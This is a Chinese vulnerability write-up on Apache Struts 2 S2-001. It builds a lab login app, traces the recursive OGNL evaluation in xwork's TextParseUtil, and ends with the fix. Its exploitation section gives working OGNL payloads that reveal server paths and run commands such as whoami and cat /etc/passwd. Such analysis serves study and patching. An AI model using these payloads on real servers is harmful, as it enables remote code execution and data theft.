S2-001漏洞分析

前提是你 提交于 2019-11-26 17:19:47

S2-001漏洞分析

1.漏洞描述

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

2.影响版本

Struts 2.0.0 - Struts 2.0.8

3.漏洞详情

首先写一个漏洞利用环境,代码结构如下:

LoginAction.java源码:

package com.cy.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport{
  
	private static final long serialVersionUID = 1L;
	private String username ;
	private String password ;
  
	public String getUsername(){
		return this.username;
	}
  
	public String getPassword(){
		return this.password;
	}
  
	public void setUsername(String username){
		this.username = username;
	}
  
	public void setPassword(String password){
		this.password = password;
	}
  
	public String execute() throws Exception{
		if (this.username == null || this.username == "" ||this.password == null || this.password == "") {
			return "error";
		}
		
		if ((this.username.equals("admin")) && (this.password.equals("123456"))) {
			return "success";
		}else {
			return "error";
		}
		
	}
}

struts.xml源码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC  
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"  
    "http://struts.apache.org/dtds/struts-2.0.dtd"> 
<struts>
	<package name="S2-001" extends="struts-default">
		<action name="login" class="com.cy.demo.action.LoginAction" method="execute">
			<result name="success">/welcome.jsp</result>
			<result name="error">/index.jsp</result>
		</action>
	</package>
</struts>

web.xml源码:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

    <display-name>S2-001</display-name>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

</web-app>

index.jsp源码:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>用户登录</h2>

<s:form action="login">
	<s:textfield name="username" label="username" />
	<s:textfield name="password" label="password" />
	<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp源码:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>welcome</title>
</head>
<body>
 <h2>welcome,<s:property value="username"></s:property></h2>
</body>
</html>

/org/apache/struts2/views/jsp/ComponentTagSupport.java

为了比较容易理解,我们这里从对<s:textfield name="password" label="password" />的解析开始说起,doStartTag()会对jsp标签进行解析,后面会跳转到doEndTag(),跟进component.end()最后到达UIBean.java。

跟入evaluateParams(),由于开启了altSyntax,expr会由之前的password变为为%{password}。接着跟入findValue()方法来到了Component.java。

由于开启了altSyntax,而且toType是class.java.lang.string,所以程序会进入TextParseUtil.translateVariables()。

接下来使用的源码位于xwork-2.0.3.jar,跟进上面的translateVariables()到/com/opensymphony/xwork2/util/TextParseUtil.java。

我们继续跟入translateVariables()方法,我们可以看到translateVariables()方法递归解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,如果用户输入恶意的ognl表达式,如%{1+2},最后会在Object o = stack.findValue(var, asType)得以解析执行。

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
            
            Object result = expression;

            while (true) {
                int start = expression.indexOf(open + "{");
                int length = expression.length();
                int x = start + 2;
                int end;
                char c;
                int count = 1;
                while (start != -1 && x < length && count != 0) {
                    c = expression.charAt(x++);
                    if (c == '{') {
                        count++;
                    } else if (c == '}') {
                        count--;
                    }
                }
                end = x - 1;

                if ((start != -1) && (end != -1) && (count == 0)) {
                    String var = expression.substring(start + 2, end);

                    Object o = stack.findValue(var, asType);
                    if (evaluator != null) {
                        o = evaluator.evaluate(o);
                    }


                    String left = expression.substring(0, start);
                    String right = expression.substring(end + 1);
                    if (o != null) {
                        if (TextUtils.stringSet(left)) {
                            result = left + o;
                        } else {
                            result = o;
                        }

                        if (TextUtils.stringSet(right)) {
                            result = result + right;
                        }

                        expression = left + o + right;
                    } else {
                        result = left + right;
                        expression = left + right;
                    }
                } else {
                    break;
                }
            }

            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

4.漏洞利用

(1)输入%{1+2},返回3证明漏洞存在。

(2)获取tomcat执行路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

(3)获取web路径

%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }

(4)执行命令

执行whoami:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

弹计算器:

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

执行任意命令时,如果所执行的命令需要组合,则可如下:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

值得一提的是,表单验证错误只是这个漏洞出现的场景之一,并不是该漏洞的产生的原因。在实际场景中,比如登陆等位置,往往会配置了Validation(限制用户名长度等),验证出错时,就会原样返回用户输入的值而不会跳转到新的页面,这样就有可能发生此漏洞。

5.漏洞修复

升级xwork-2.0.3.jar到2.0.4以上,在xwork-2.0.4中由于改变了ognl表达式的解析方法,从而不会产生递归解析,这样用户的输入也不会被解析执行。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!